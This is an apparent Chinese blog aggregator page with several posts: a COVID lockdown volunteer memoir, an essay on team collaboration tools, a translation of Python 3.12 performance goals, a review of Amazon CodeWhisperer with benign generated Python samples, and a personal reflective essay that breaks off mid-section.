      到4月中下旬开始,供应问题逐步得到解决,根据政策要求,封控区内需要服务上门,陆续就有物资送到社区。一个4000多人口的社区,一次来的量就非常大,居委会物业公司那几个工作人员是远远没办法收发这些物资的。志愿者群体壮小伙特别多,于是整车卸物资,分发到楼栋,再分发到门户就成了一段时间内的体力工作。

▼政府配送的物资(大米、蔬菜包)

10.jpg

▼政府配送的物资(酱鸭、食用油)

7.jpg

▼政府配送的物资(黄油鸡、八宝粥)

9.jpg


门岗登记和放行

      到5月份下旬,疫情全面好转,这时候开始逐步有条件解封,指定每户每天可以有一人上街采购,我们就负责给每户居民发放出门证通行卡,在小区门岗处进行出门证的登记和检查工作。持有效日期的出门证,指定时间段可以进出,出小区会在出门证上标记,回小区需要在门口做抗原。有些居民忍不住竟然要出去钓鱼,能拦的一律拦下来了,个别拦不住的,也只能任由他去了。

      有个搞笑的居民自作聪明拿着出门证跑去公司加班了,社区当时的规定是晚上7点前需要返回小区,如果当日出去没有回来的,那抱歉回不来了。并且会将信息上报给防办和公安。连着几个电话打过去都说不回来了,然后告知其法律后果后让其自己决定。任然答复不回,后来公安电话去了,以违反疫情防控原因需要拘留,然后怂了。我们笑竟然还有这么敬业的人,可那只是个私企,自己还不是老板,不关乎国计民生的行业,笑。

▼居民排队登记出入证信息

11.jpg


解封后的常态化

      到6月1日,整整两个多月的封控终于解封了,大家也得以重获自由。只是常态化又像是回到了3月的场景。大魔都保卫战的胜利不知道为啥后面也没提了,大概是直到今天也没有彻底胜利。

      常态化防控下,根据区防控部门的统一部署,居民需要定期做核酸,志愿者只要在楼栋负责登记核酸采样记录即可,随着大家的生活逐步走向正轨,加上居委的处事风格和态度,大多数志愿者都回归到自己的生活轨迹中去了,志愿者越来越少,到后来志愿者群里的任务已经没人接龙了。进入10月份,我的工作越来越多,出差频率赶上每周一次,9月底我也退出了志愿服务。自3月开始,整整半年时间。也许后面还会继续呢,谁知道这个鬼疫情到底什么时候才能结束。

      临别退出,作诗一首:

            春夏之交,瘴疴肆虐,
            风云动,志愿启。
            吾辈青春热血,挥洒长墨,
            方日洞涵文脉,泾通四海。
            幸与君携手,会及二月余,
            疴瘴终有散,明日无绝期。
            他日有召,自当尽心竭力。
            青山常在,绿水长流,江湖再见!

by 西枫里 at October 23, 2022 07:58 AM

October 14, 2022

coolshell

聊聊团队协同和协同工具

这两天跟 CaliRather 做了一个线上的 Podcast – Ep.5 一起聊聊团队协同。主要是从 IM 工具扩展开来聊了一下团队的协同和相应的工具,但是聊天不是深度思考,有一些东西我没有讲透讲好,所以,我需要把我更多更完整更结构化的想法形成文字。(注:聊天聊地比较详细,本文只是想表达我的主要想法)

国内外的企业 IM 的本质差别

国内企业级在线交流工具主要有:企业微信、钉钉、飞书,国外的则是:Slack、Discord这两大IM工具,你会发现,他们有很多不一样的东西,其中有两个最大的不同,一个是企业管理,一个是企业文化。

企业管理

Slack/Discrod 主要是通过建 Channel ,而国内的IM则主要是拉群。你可能会说,这不是一样的吗?其实是不一样的,很明显,Channel 的属性是相对持久的,而群的属性则是临时的,前者是可以是部门,可以是团队,可以是项目,可以是产品,可以是某种长期存在的职能(如:技术分享),而拉群则是相对来说临时起意的,有时候,同样的人群能被重复地拉出好几次,因为之前临时起意的事做完了,所以群就被人所遗忘了,后面再有事就再来。很明显,Channel 这种方式明显是有管理的属性的,而拉群则是没有管理的

所以,在国内这种作坊式,野蛮粗放式的管理风格下,他们需要的就是想起一出是一出的 IM 工具,所以,拉群就是他们的工作习惯,因为没有科学的管理,所以没有章法,所以,他们不需要把工作内的信息结构化的工具。而国外则不然,国外的管理是精细化的,国外的公司还在重度使用 Email 的通讯方式,而 Email 是天生会给一个主题时行归类,而且 Email 天生不是碎片信息,所以,国外的 IM 需要跟 Email 竞争,因为像 Email 那样给邮件分类,把信息聚合在一个主题下的方式就能在 IM 上找到相关的影子。Channel 就是一个信息分类,相当于邮件分类,Slack 的 回复区和 Discord 的子区就像是把同一个主题信息时行聚合的功能。这明显是懂管理的人做的,而国内的拉群一看就是不懂管理的人干的,或者说是就是满足这些不懂管理的人的需求的。

企业文化

团队协作和团队工作最大的基石是信任,如果有了信任,没有工具都会很爽,如果没有信任,什么工具都没用。信任是一种企业文化,这种文化不仅包括同级间的,还包括上下级间的。但是,因为国内的管理跟不上,所以,就导致了各种不信任的文化,而需要在这里不信任的文化中进行协同工作,国内的 IM 软件就会开发出如下在国外的 IM 中完全没有的功能:

  • 监控员工。获取员工的工作时间以及工作位置。
  • 有详细的已读标注。这样会给对方要回复的压力。
  •  发出的信息不能修改,不能删除,非常有限地可撤回

而国外的 IM 则是,发出的信息可以修改/删除,没有已读标准,也不会监控员工。这种时候,我总是会对工作在这种不信任文化中人感到可怜……如果大家需要靠逼迫的方式把对方拉来跟我一起协作,我们还工作个什么劲啊。

小结

所以,我们可以看到,畸形的企业管理和企业文化下,就会导致畸形的协同工具。最令人感到悲哀的是,有好多同学还觉得国内的钉钉非常之好,殊不知,你之所以感觉好用,是因为你所在的环境是如此的不堪。你看,人到了不同的环境就会有不同的认识,所以,找一个好一些的环境对一个人的成长有多重要

给一些新入行的人的建议就是,一个环境对一个人的认知会有非常大的影响,找一个好的环境是非常重要,如果不知道什么 环境是好的,那就先从不使用钉钉为工作协同软件的公司开始吧……

什么是好的协同工具

我们从上面可以得到,协同的前提条件是你需要有一个基于信任的企业文化,还需要有有结构化思维的科学的管理思维。没有这两个东西,给你的团队再多的工具都不可能有真正好有协同的,大家就是装模作样罢了。

假设我们的管理和文化都没有问题,那下面我们来谈谈协同工具的事。

我个人觉得 IM 这种工具包括会议都不是一种好的协同工具,因为这些工具都无法把信息做到真正的结构化和准确化,用 IM 或是开会上的信息大多都是碎片化严重,而且没有经过深度思考或是准备的,基本都是即兴出来的东西,不靠谱的概率非常大。

找人交流和开会不是有个话题就好的,还需要一个可以讨论的“议案”。在 Amazon 里开会,会前,组织方会把要讨论的方案打印出来给大家看,这个方案是深思过的,是验证过的,是有数据和证据或是引用支撑的,会议开始后,10 -15分钟是没有人说话的,大家都在看文档,然后就开始直接讨论或发表意见,支持还是不支持,还是有条件支持……会议效率就会很高。

但是这个议案其实是可以由大家一起来完成的,所以,连打印或是开会都不需要。试想一下,使用像 Google Doc 这样的协同文档工具,把大家拉到同一个文档里直接创作,不香吗?我在前段时间,在公网上组织大家来帮我完成一个《非常时期的囤货手册》,这篇文章的形成有数百个网友的加持,而我就是在做一个主编的工作,这种工作是 IM 工具无法完成的事。与之类似的协同工具还有大家一起写代码的 Github,大家一起做设计的 Figma……这样创作类的协同工具非常多。另外,好多这些工具都能实时展示别人的创作过程,这个简直是太爽了,你可以通过观看他人创作过程,学习到很多他人的思路和想法,这个在没有协同工具的时代是很难想像的。

好的协同工具是可以互相促进互相激励的,就像一个足球队一样,当你看到你的队友在勇敢地争抢,拼命地奔跑,你也会被感染到的。

所以,好的协同就是能够跟一帮志同道合,有共同目标,有想法,有能力的人一起做个什么事所以,在我心中我最喜欢的协同工具从来都是创作类的,不是管理类的,更不是聊天类的。管理和聊天的协同软件会让你产生一种有产出的假象,但其实不同,这种工具无论做的有多好,都是支持性的工具,不是产出类的工具,不会提升生产力的。

另外,在创作类的协同工具上如果有一些智能小帮手,如:Github 发布的 Copilot。那简直是让人爽翻天了,所以,真正能提升生产力的工具都是在内容上帮得到你的。

结束语

我其实并不喜欢今天所有的 IM 工具,因为我觉得信息不是结构化的,信息是有因果关系和上下文的,是结构化的,是多维度的,不是今天这种线性的方式,我们想像一下“脑图”或是知识图,或是 wikipedia 的网关的关联,我们可能就能想像得到一个更好的 IM 应该是什么 样的……

协同工作的想像空间实在是太大了,我觉得所有的桌面端的软件都会被协作版的重写,虽然,这种协作软件需要有网络的加持,但是协作软件的魅力和诱惑力实在的太大了,让人无法不从……

未来的企业,那些管理类的工具一定会被边缘化的,聊天类的会被打成一个通知中心,而创作类的会大放异彩,让大家直接在要干的事上进行沟通、交互和分享。

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 聊聊团队协同和协同工具 first appeared on 酷 壳 - CoolShell.

by 陈皓 at October 14, 2022 04:20 AM

October 06, 2022

pythoncat

Python 3.12 目标:还可以更快!

按照发布计划,Python 3.11.0 将于 2022 年 10 月 24 日发布。
据测试,3.11 相比于 3.10,将会有 10-60% 的性能提升,这个成果主要归功于“Faster CPython”项目,即“香农计划”。
关于“香农计划”的详情,可查看 Python 之父的主题分享,以及他的一则播客访谈
3.11 版本为 Python 的提速开了一个激动人心的好头。接下来,3.12 还会有更多动作。
以下文章翻译自“香农计划”的《Python 3.12 Goals》,大家先一睹为快吧!

作者:Mark Shannon

译者:豌豆花下猫@Python猫

英文:https://github.com/faster-cpython/ideas/wiki/Python-3.12-Goals

本文内容可能会改动,以实际版本为准!
本文是 Faster CPython 计划在 3.12 中实现的主要内容的概要。

跟踪优化器

Python 3.11 提升速度的主要方法是用更快的与上下文相关的操作码(自适应的专门化操作码)替换个别的操作码,下一个大的改进方法是优化多个操作码的运行。
为此,现有的许多高级操作码将被替换成低级操作码,例如,用于检查版本号和引用计数的操作码。这些更简单的操作码更容易进行优化,例如,可以删除冗余的引用计数操作。
这些更底层的操作码还能让我们得到一组适合用于生成机器代码的指令(在 CPython 和第三方 JIT 项目中都适用)。
为了做到这点,解释器循环(interpreter loop)将基于声明性的描述而生成。
这可减少一部分为了保持解释器循环与某些相关函数同步而产生的 bug(mark_stacks、stack_effect 等函数),同时也让我们可以对解释器循环作较大的更改试验。

多线程并行

Python 当前每个进程有一个全局解释器锁(GIL),阻碍了多线程的并行。

PEP-684:https://peps.python.org/pep-0684

PEP-554:https://peps.python.org/pep-0554

PEP-684 提出了一个方案,即保证所有的全局状态都是线程安全的,并移动到每个子解释器的全局解释器锁中使用。
PEP-554 提出了让 Python 创建子解释器的方案(目前只是一个 C API 特性),从而实现真正的多线程并行。

Python猫注:PEP-554 早在 2017 年就提出了,目标是落地在 Python 3.8-3.9 版本,然而事与愿违。早在 2019 年的时候,我还翻译了一篇《Has the Python GIL been slain?》。屠刀已挥出,让它再飞一会~~

更多专门化

我们分析了哪些字节码将从专门化中获益最多,计划在 3.12 完成其余的高收益的改进。

https://github.com/faster-cpython/ideas/issues/74

较小的对象结构

有许多可以减少 Python 对象结构大小的机会。由于它们被频繁使用,这不仅有利于总体的内存使用,还有利于缓存的一致性。我们计划在 3.12 中实现最有希望的一些想法。
这里有一些向后兼容性与性能之间的权衡问题,可能需要提出一个 PEP 来建立共识。

减少内存管理的开销

我们不仅会减小对象的大小,还会使它们的 layout 更加规则。
这不仅能优化内存的分配及释放,还能在 GC 和重新分配期间加快遍历对象的速度。

API 稳定性

除了前述项目外,开发团队还将提升 CPython 代码库的整体质量:
  • 通过减少不同编译阶段的耦合,使编译器更易于维护与测试。
  • 积极地在 C 语言级别监控和改进 CPython 测试套的代码覆盖率。
  • 改进 Python 性能基准测试套,加入更具代表性的现实世界的负载测试。
  • 协助处理 CPython 问题和 PR,特别是与性能有关的问题。
  • 增加用于标准基准测试的机器,增加 macOS 和 Windows 的测试结果。
  • 继续跟主要的深度使用 Python 内核的项目合作,帮助它们适配 CPython 解释器的更改。
注:文中图片为译者所加。

October 06, 2022 12:00 AM

September 17, 2022

pythoncat

继GitHub的Copilot收费后,亚马逊推出了 CodeWhisperer,感觉不错哟!

Copilot 是 Github 推出的一款人工智能编程助手,推出仅一年就受到大量开发者的追捧(据官方统计有 120 万用户)。然而,自 2022 年 6 月起,它改为了付费订阅模式(每月 10 美元或每年 100 美元)。
我们暂且不讨论训练代码可能涉及的版权及授权许可问题,可以肯定的是,利用机器学习训练出智能编程 AI 模型,这会是未来的大势所趋!
巧合的是,仅在 Copilot 宣布收费的几天后,Amazon 就推出了一款竞品 CodeWhisperer!相信在不久的将来,类似的产品会如雨后春笋般涌现,到那时,程序员和编程学习者们就更加有福了!

作者:Brian Tarbox

译者:豌豆花下猫@Python猫

英文:https://blog.symops.com/2022/08/31/amazon-codewhisperer

转载请保留作者&译者&来源信息

代码补全最早出现在 1985 年的一个名为 Alice 的 Pascal 编辑器上。它支持自动缩进、自动补全 BEGIN/END 控制结构,甚至支持语法着色。
争议也随之而来:在 Alice 的早期,人们担心代码补全使得编写软件过于简单。但它实际上只是一个语法助手。
代码补全可以帮你写出语法正确的、可编译的代码,但它不能帮你写出语义正确的代码,甚至不能写出任何有用的代码。
GitHub 的 CoPilot 和 Amazon 的 CodeWhisperer 改变了这一点,它们除了提供语法辅助,还能生成语义上正确的代码。它们不仅能提供 if 语句的大纲,还能创建出完整的代码样例。
但在 2022 年,一个代码辅助工具到底能好到什么程度呢?
本文将重点介绍 CodeWhisperer,尝试回答这个问题。

试用:用 Python 从 S3 读取数据

亚马逊在 2022 年 6 月发布了 CodeWhisperer 预览版,现在它支持 Python、Java 和 JavaScript。

Python猫注:截至2022年9月17日,这个服务还未全面开放。

若要试用,可在官网申请:https://pages.awscloud.com/codewhisperer-sign-up-form.html

附官方介绍:https://aws.amazon.com/cn/blogs/compute/introducing-amazon-codewhisperer-in-the-aws-lambda-console-in-preview

在 AWS 博客的一篇文章中,Mark Richman 解释说,CodeWhisperer 的模型是在“包括 Amazon 开源代码在内的各种数据源”上训练的。有了这个语料库(显然确实存在)完善 CodeWhisperer 的模型,编写从 S3 读取文件的代码应该是一个很好的测试用例。
在使用 CodeWhisperer(CW)时,你需要写一个注释,描述你希望函数去做什么。注释的描述性和准确性越高,系统就越能更好地推断出你想要的逻辑。
Function to open an S3 file
注释以 Function 开头,让 CW 知道你想要创建一个函数。也就是说,你需要添加一个注释,作为给 CW 的提示。
CW 分析注释并生成一个函数的定义。此时,你可以在生成函数体之前修改函数定义。CW 还可能提供多种函数定义供你选择。
IntelliJ 集成 CodeWhisperer 的截图
点击“插入代码”,你的函数就在注释的下方创建好了。注意 CodeWhisperer 不仅插入了代码,还创建了一个文档字符串。
# Function to open an S3 file
def open_s3_file(filename):
    """
    :param filename:
    :return:
    """
    s3 = boto3.resource('s3')
    return s3.Object(bucket, filename).get()['Body'].read()
看起来不错!这段代码实现了你的注释所期望的功能,并且是在几秒钟内就生成了。节省了查找boto3 API 的时间,你只需要检查代码,确保语义正确。
接着看看提出更多要求时,会发生什么。
这有一个很有用的例子:写一个函数从 S3 的文件中返回前“n”行。
# Function to get first n lines from a file in S3
def get_first_n_lines_from_s3(filename, n):
    """
    Get the first n lines of a file in S3
    :param filename:
    :param n:
    :return:
    """
    lines = []
    for line in open_s3_file(filename):
        lines.append(line)
        if len(lines) >= n:
            break
    return lines
真厉害!CodeWhisperer 使用了之前创建的辅助方法 open_s3_file,并生成了正确的函数。
在 CW 生成函数体之前,你可以修改参数名,提高代码的可读性。例如,如果我们输入:
# Function to find common elements in lists
CW 会提示:
def find_common_elements(list1, list2)
在生成函数体之前,我们可以修改函数定义,使其更具描述性:
def find_common_elements(first, second)
如果我们接受它的函数定义,CodeWhisperer 将使用函数签名和注释来构建函数体。得到的函数将使用改进后的参数名。
# Function to find common elements in lists
def find_common_elements(first, second):
        return list(set(first) & set(second))
CodeWhisperer 不仅仅可以创建整个函数;它还可以在函数中插入代码片段,并在过程中推断相关变量。
  # reverse the list order
  lines.reverse()

CodeWhisperer 是一个重要的生产力助推器

使用 CodeWhisperer,我能够更快地编写代码。到目前为止,最大的价值是 S3 示例所演示的功能。
如果我自己写代码,大部分时间将会用来查找 boto API 文档,以确保写出正确的调用。使用 CodeWhisperer,则只需三秒钟。
这让我想到了一段曾花了很多时间的烦人代码:给 CloudWatch 发送数据。让我们看看 CodeWhisperer 能否有所帮助,试试提供注释:“Function to emit a CloudWatch metric”。
# Function to emit a cloudwatch metric
def put_metric_data(metric_name, metric_data):
    """
    Put a metric data into cloudwatch
    :param metric_name:
    :param metric_data:
    :return:
    """
    cloudwatch = boto3.client('cloudwatch')
    cloudwatch.put_metric_data(
        Namespace='my_namespace',
        MetricData=[
            {
                'MetricName': metric_name,
                'Dimensions': [
                    {
                        'Name': 'string',
                        'Value': 'string'
                    },
                ],
                'Unit': 'Seconds',
                'Value': metric_data
            },
        ]
    )
非常有用!CW 为我节省了许多打字和查阅 API 文档的时间。
我有可能需要重构这段代码,但即使我从零开始编写它,第一步也要写出类似这样的原始逻辑。如今只花三秒钟,我节省了编写大量样板代码的时间,有了一个很好的自定义或重构的起点。

那么 CodeWhisperer 是一个比我更好的程序员吗?

尽管有一丝标题党,但 CW 的代码是否比我的好,这并不重要。重要的是,它可以为我节省大量的时间和精力,让我能够专注于改进、重构和测试。
它通过承担一些同质化的繁重工作,让我有机会成为一个更好的程序员。
上面的例子是 Amazon 工具(经过 Amazon 开源代码训练)能够表现出色的例子。当然,在大多数开发人员需要花费很多时间的地方,比如编写领域相关的逻辑时,CW 也许不会非常有用。让我们看看 CW 会出什么问题。
我们可以从 Python 文档中的数据类示例开始。
@dataclass
class InventoryItem:
    """Class for keeping track of an item in inventory."""
    name: str
    unit_price: float
    quantity_on_hand: int = 0

    def total_cost(self) -> float:
        return self.unit_price * self.quantity_on_hand
我想知道 CodeWhisperer 是否可以向这个类添加一个方法。让我们看看如果添加注释:” Function that return this item costs more than $10”,会发生什么?
@dataclass
class InventoryItem:
    """Class for keeping track of an item in inventory."""
    name: str
    unit_price: float
    quantity_on_hand: int = 0

    def total_cost(self) -> float:
        return self.unit_price * self.quantity_on_hand

    # Function that returns whether this item costs more than $10
    def expensive(self) -> bool:
        return self.unit_price > 10
非常酷。值得注意的是,CW 给函数起了一个直观的名字,并包含了对 self 的引用。
接着,让我们尝试用 CW 来做测试,看是否会触及它的极限。
# Function to test InventoryItem class
def test_inventory_item():
     """
    Test InventoryItem class
    :return:
    """
    item = InventoryItem("Widget", 10, 5)
    assert item.name == "Widget"
    assert item.unit_price == 10
    assert item.quantity_on_hand == 5
    assert item.total_cost() == 50
    assert not item.expensive()
🤯哇!在上面的代码中,我输入了注释,CW 自动完成了剩下的工作。
测试似乎是一个极好的证明 CW 可以节省时间的例子。我不需要浪费时间去想测试的值,也不用输入所有的成员变量和方法。

CodeWhisperer 的局限性

它现在还处于初级阶段,还有很多问题。
研究人员发现,GitHub CoPilot 生成的代码有 40% 存在安全漏洞
CodeWhisperer 还没有这类的统计数据,但 AWS 似乎强调了对安全性的关注。
据我测试,在一些例子中,CW 生成的函数有 bug,或者结果没有符合我的意图。
下方的例子应该返回两个文件中最长的公共行,但它只返回了第一个匹配的行:
# Function to find the longest common line in two files
def find_longest_common_line(file1, file2):
    """
    Find the longest common line in two files
    :param file1:
    :param file2:
    :return:
    """
    with open(file1, 'r') as f1:
        with open(file2, 'r') as f2:
            for line in f1:
                if line in f2:
                    return line
CW 还出现了其它问题,原因是它没有足够的上下文来理解我的意图。经过反思,我觉得如果周围的代码结构很好的话,也是可以实现的。
如果你在设计代码时用了准确表示领域的名词,那么,在给出了良好注释的前提下,很容易想象 CW 能够创建出特定于领域的逻辑。至于 bug,将来肯定会得到改善的。

写在最后

如果你尝试使用 CW,它可能会让你想象:可能有一天,有人会写出历史上最后一行由人类编写的代码。
在那之前,CW 可以帮助你成为一个更好的程序员,这样即使世界上最后一个程序员是你,人类的最后一行代码也不会有 bug。

September 17, 2022 12:00 AM

September 14, 2022

ihewro

中秋前后 II

上一篇 [post cid="981" size="small" /] 是2019年了,那是我刚上研究生的时候,时隔三年。

今年生日的时候本来是想写一篇博文,但是写了一部分,又停住了,不知道写什么,就没有完成它,这次一起写完吧。

[scode type="share" size="simple"]

  • 23岁 [post cid="1185" cover="" size="small"/]
  • 22岁 [post cid="1117" cover="" size="small"/]
  • 21岁 [post cid="963" cover="" size="small"/]
  • 20岁 [post cid="830" cover="" size="small"/]
  • 19岁 [post cid="697" cover="" size="small"/]
  • 18岁 [post cid="250" cover="" size="small" /]

[/scode]

在看完《极品老妈》第六季后,开始写下这篇文章。这部美剧的很多观念对我的影响很大,因此我会先写一些这段时间胡思乱想,最后写一些这段时间开心的事情。

没有借口,不去抱怨

我的生活中,遇到了糟糕事情,第一反应一定是找借口。这样的例子数不胜数:

  • 睡不着,怪晚上的噪声,怪晚上吃太多,怪回来路上风太大,怪工作太累。
  • 内向社交差,怪童年时候一些经历,怪父母
  • 不想学习/工作效率差,怪环境噪音,怪今天与人相处的一件不愉快事情
  • 生活不够丰富/无趣,怪身边的人没有志趣相投的,怪自己生活环境,怪自己遇到的人不够与自己契合

上面的例子,等等等等。

有些事情是与环境有关,比如睡觉会和噪声有关。但是如果没有噪声,我是否就能很快入睡,不失眠呢,并不一定。失眠也许是我自己焦虑、压力。工作学习效率,即使身边空无一人,自己就能灵感迸发,效率很高,专注力很集中的完成事情吗。并不一定。效率低下也许本身就是自己专注力不高导致的。生活很无聊,难道找到一个朋友就能解决吗。并不一定。无数的人因为无聊进入恋爱,而后又开始想念单身的日子。找到朋友也许会有帮助,但是也许真正的问题是自己并没有对自己生活有清晰的认知和规划,不知道需要做什么事情。性格原因我也曾想是初中寄宿在班主任家里,高中繁重、残酷学习的压力导致。

极品老妈第六集第15集,Cristy在情人节与老妈一起度过,“开玩笑”把自己找不到对象,准备放弃爱情的事情归咎于自己的老妈,说在她糟糕的童年让她没办法爱上一个人。

我的确认为我没爱过 这都怪你
I do think it's your fault I've never been in love.
我就知道 你简直不可理喻
I knew it. You're unbelievable.
我带你来一家高档餐厅 让你开心
I take you to a nice restaurant to cheer you up,
结果你还是想办法让我成了坏人
and you still find a way to make me the bad guy.
一次高档晚餐并不能弥补糟糕的童年
One nice dinner doesn't make up for a sucky childhood.
听着 即使我是完美妈妈
Look, even if I was a perfect parent...
I said "If."
即使那样 对你来说也不够
Even then, it wouldn't have been enough for you,
因为什么都无法让你满意
because nothing's ever enough for you.
如果你孤独终老有个原因
And if there's a reason you're gonna be alone forever,
那就是原因所在
that's it.

仔细想想,即使是幸福快乐的家庭,出现的问题少年也数不胜数。环境自然是重要的催化剂,但自己仍然需要对自己的任何事情负责。

换了思路,其实“内向”和“不善于社交”并不是太坏,实际上它是我们成长过程中的一种保护机制,正是因为环境中的一些拒绝/伤害,才让我变得不去主动,从而减少自己受到的痛苦,这实际是一件好事,也帮我避免了很多无意义的社交,更加专注于自己。

就像Bonnie的专注力缺陷(attention deficit disorder)问题一样,尽管让她在“高考”中没有通过,但是在她的童年中,在很多的痛苦的场景中,让她的大脑会自动忘掉这些事情。

所以现在,我开始学着不总是抱怨环境带给我的干扰。不要把一个糟糕问题归咎给另一个糟糕的问题。

首先从内心出发,从自己寻找原因,自己能否做一些事情改善或者解决这个问题,如果确实是环境的问题,再去看自己能否改变环境,如果不能,要么忍受要么离开。

比如如果觉得工作时候周围的机械键盘声音太吵,以至于无法工作,那么就去试试戴着降噪耳机有没有用,如果没用,再去看看有没有空闲会议室可以去工作一会,最后要么鼓起勇气提醒同事,要么忍受噪声。

比如睡不着的时候,不要总是找各种原因,而是看看能否找一些事情帮助改善睡眠,比如做一些冥想等等,如果找不到更好方式,那只能接受失眠这个问题本身。

向内寻求力量

不找借口的下一个步骤,实际上就是”向内需求力量“,而非依赖他人,或者环境。

就像”成龙历险记“中说过,“智者向内寻求力量,不智者向外寻求力量。”

依赖外部的力量是很脆弱的,不是说工作中不要与别人沟通,合作,而是不要把别人合作当成自己工作的核心因素。

生活同样如此,不要把朋友、亲人当成支撑自己的核心力量,这种外部支持是非常脆弱的,并不是指亲情、友情不值得信赖,而是别人总会有自己的事情、有自己的生活。我们的生活不应该是依附在别人生活是否开心之上。可以有外部感情的输入,但需要记得是自己的生活规划、自己想做和正在做的事情才是自己生活快乐、丰富、充实的核心力量。

在极品老妈第14集的时候,Cristy一直担心她的互助对象不喜欢她,一直找时间就和对方打招呼,甚至从她的inns找到她最喜欢吃的东西,做给她吃。弄巧成拙的是她做的东西让对方肚子不舒服,在电视上出丑。

我希望你不要因为这些事对我生气
I hope you're not mad at me over all of this.
好吧 我们得把问题扼杀在萌芽阶段
Okay, we got to nip this in the bud.
记得我刚开始跟你互助时
Remember when I first started sponsoring you
让你记下你害怕的事
and I asked you to do a fear inventory?
记得 -你也许该再做一次了
Yeah. - Maybe it's time for you to do another one,
因为我不记得你写过
because I don't remember you writing down,
我害怕人们不喜欢我
"I'm terrified that people won't like me."
我没写下来 -为什么
I didn't write that down. - Why not?
我害怕那会让你不喜欢我
I was afraid it would make you not like me.
你看到自己在做什么了吗
Do you see what you're doing here?
看到了
Yeah, yeah.
没看到
No.
如果你总是寻求别人的认可
If you always seek the validation of other people,
你永远也不会满足
you will never be content,
因为你让他们成为了你的更高力量
because you're making them your higher power.
你对我就是这样
You're doing it with me.
最后 我只是另一个酒鬼
Oh, my God, that's Sports with Kane Stevens!
你也不需要他喜欢你
And you don't need him to like you either.
我要的 -不用的
Yes, I do. u202d- No, you don't.
我成长时没多少优势
Look, I didn't have a lot going for me growing up,
但是争取人心是我的特长之一
but winning people over was one of my strong suits.
那肯定对你有用 但你现在不需要了
And I'm sure it served you, but you don't need it anymore.
我来问你 你喜欢自己吗
Let me ask you something. Do you like yourself?
因为你只用关心这个人

“寻求别人的认可“换句话就是我们常听说的“讨好型人格”,但这其实并不是一件坏事,同样也是我们身体进化的一种机制。如果在一件事情上,发现讨好别人有用,不管是获得对方同情,还是获得预期的关注、效果,那么在下次遇到类似的情况时候,就会继续讨好别人,这实际是一种“强化学习”,这没什么错误,相反是我们的大脑在帮助我们获得最优的方案。

但是就像这部剧说的那样,“那肯定对你有用 但你现在不需要了“,讨好别人让自己更痛苦,所以让我注意到这个问题,从而希望寻求别的行为方式。而我现在更应该依赖自身,自己的能力去获得自己想要的事情,而不是依赖别人。

讲一个自己的故事,三年前,我在给好朋友发消息的时候,如果对方回我的消息慢,我就会感觉,对方是不是讨厌自己,如果对方经常性的在聊天中回了上句没下句,我会觉得对方是不是不想和自己聊天。

而现在我会有多种情况分析,如果是不熟的人,who cares 回不回消息,并且会认为对方是一个没有礼貌的人。如果是关系很好的人,我知道对方可能在忙,我会理解,没有抱怨。如果我不知道对方在干什么,而且经常性的回消息慢,我会直接去问,为什么回得这么慢,是不是在忙,如果真的在忙,当然也没什么好抱怨。如果对方不忙,还经常隔好几分钟才回消息,那也没必要继续进行聊天了。

这并不表示好朋友的分量在我的心中变低了,而是我不再像之前那样特别的依赖对方给我的反馈,让我觉得我被关爱或者被需要。一个对话需要平等的关系,平等的尊重才能进行。

不要强求任何对话,印象很深的一集是Cristy有赌瘾,她把保释他妈的钱都给赌没了,还是两次。老妈Bonnie 希望女儿尽快去互助会戒断。但是Cristy坚持自己没有赌瘾,她坚持说自己一辈子只赌过三次也叫赌瘾吗。因此两人吵个没完。Bonnie寻求玛乔丽 *帮助,*玛乔丽问Cristy有主动寻求帮助吗,如果没有,就不要去干预。即使是为对方考虑,如果对方没有寻求帮助,就不要总是站在自己立场去交流,除非对方明确请求了。

工作上的事情也是这样,始终让工作进度的关键点不要落在外部依赖上,对于强依赖外部阻塞的事情,要尽快解决,避免失控。

没想象的那么困难

在极品老妈的第六季第一集,Cristy因为法学院上课难度太大而选择退学,玛乔丽当时说的一句话让我印象很深:

you didn't think you could get your GED.
你觉得你考不上大学
You didn't think you could get into college.
你觉得你考不上法学院
You didn't think you could get into law school,
但你都做到了
but you did all those things.
我们总是看着眼前的高山
We always look at the mountains ahead of us,
忘记了我们翻越的高山也一样难爬
and we forget the mountains behind us were just as hard to climb.

工作之后,总会觉得自己做的不够好,显然没有到达自己当初的预期,公司里的人都太优秀,有96年的大佬,在两年前就设计了一些框架,还是全栈,还有差不多大的c++代码规范意识很强,代码设计能力也很强。之前总会去想,害怕自己根本达到不了别人那样的成就和高度。但是仔细想想,之前其实我也走过了很多当时觉得无法完成的困难。

高考虽然很难,还算符合预期。考研时间短,任务重。那时每天想的就是如果能考上研了,什么问题都解决了。等真正研究生的时候,毕业也是一个天大的难题。总是怀疑自己根本没有科研能力,写不出来自己的论文,结果最后的几个月仍然完成了论文,顺利的毕业。

所以对于工作的问题,没有理由觉得我不能做好。不管是C++还是chromium,这些都是现有的代码和教程,并不用自己去创新,只要踏实去学,学实践,没有理由做不好的。

晴天修屋顶

还想告诉自己的一个点是,在危机来临之前提前做好准备。

或许这个话题太宽太大了,实际上它落实在每件小事情上。比如我买了新的电动车,就应该提前准备好一些用具,比如车批,这样下雨的时候就不回担心淋雨了。可能小雨没有太大问题,但是暴雨就会让车很脏或者导致一些问题。如果提前准备好,那么真正下雨了,就不会抱怨懊恼。

同时,提前做好准备,实际上会有不错的正反馈,当真正提前做完一件事情,是会比普通完成一件事情,获得更大的成就感。会觉得自己很机智和聪明。

不着急,慢慢来

一直以来,我觉得我都对“不着急,慢慢来”有误解。慢慢来的意思不是说这件事情不重要,而是恰恰这件事情很重要,不能也没办法急着弄完。

如果是一个很简单的事情,实际上根本不需要不着急慢慢来,直接就能做完。如果是一个不重要但是复杂一些的事情,也可以直接粗糙做完。恰恰是重要的事情才需要不着急慢慢来。

就拿个人成长来说,自身的变化,比如生活更加丰富、自律不可能一天、两天、一周、两周、一个月两个月完成。这是一件不着急慢慢来的事情,但是确实非常重要的事情。

不着急慢慢来是告诉我做事的方法和心态,不要急于求成,而是要想清楚这件事情的丰富细节,每个细节都去做对,做好,才能达成最终的目标。

刚工作的时候,做完一件事情,就急着去找mentor 新的事情。mentor告诉我说不着急,慢慢来,会让我觉得自己做的事情并不重要。后来真正技术方案评审的时候,就会发现会有一些细节没有提前考虑好,这才发现事情并不是越快越好,慢慢做也不代表事情不重要,不是让我放松警惕,可以摸鱼,而是事情的细节很多,需要仔细思考。

没坚持住,没关系

